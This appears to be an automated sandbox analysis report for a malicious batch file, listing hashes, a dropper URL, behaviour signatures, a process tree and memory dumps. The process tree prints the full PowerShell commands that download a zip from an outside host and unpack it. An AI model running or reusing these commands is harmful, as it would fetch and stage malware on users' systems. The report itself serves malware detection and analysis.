1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1556s
max time network
1561s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy - Copy (5).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2652	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2652	powershell.exe
1252	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 2652	2404	cmd.exe	29
PID 2404 wrote to memory of 2652	2404	cmd.exe	29
PID 2404 wrote to memory of 2652	2404	cmd.exe	29
PID 2404 wrote to memory of 1252	2404	cmd.exe	30
PID 2404 wrote to memory of 1252	2404	cmd.exe	30
PID 2404 wrote to memory of 1252	2404	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1252

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
890b2afa3feec9fa164f783508c307e5

SHA1
bb74cc8bcacada8356cd58fbc316a2c61b47f7f0

SHA256
7ad30beb9264c4d84212f9313ff6d872ce075b498ff8208153689536c696f20e

SHA512
ce08db39bdda0b935971a031620798f4f3ddd69f24a0bcbea9bf66a838158581e61d2c63a98403d3ce6fbbad4597b84fa6452fb3e5457e6948fa5221c9385b60

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YEHGY2OTZSP3AFIRCBE9.temp

Filesize
7KB

MD5
890b2afa3feec9fa164f783508c307e5

SHA1
bb74cc8bcacada8356cd58fbc316a2c61b47f7f0

SHA256
7ad30beb9264c4d84212f9313ff6d872ce075b498ff8208153689536c696f20e

SHA512
ce08db39bdda0b935971a031620798f4f3ddd69f24a0bcbea9bf66a838158581e61d2c63a98403d3ce6fbbad4597b84fa6452fb3e5457e6948fa5221c9385b60

Download Submit
memory/1252-26-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/1252-21-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download
memory/1252-32-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/1252-31-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/1252-30-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/1252-29-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/1252-28-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/1252-24-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/1252-22-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/1252-20-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/1252-27-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/1252-19-0x000000001B2A0000-0x000000001B582000-memory.dmp

Filesize
2.9MB

Download
memory/1252-25-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/1252-23-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/2652-5-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/2652-6-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2652-4-0x000000001B460000-0x000000001B742000-memory.dmp

Filesize
2.9MB

Download
memory/2652-7-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/2652-13-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2652-11-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/2652-10-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2652-9-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/2652-8-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download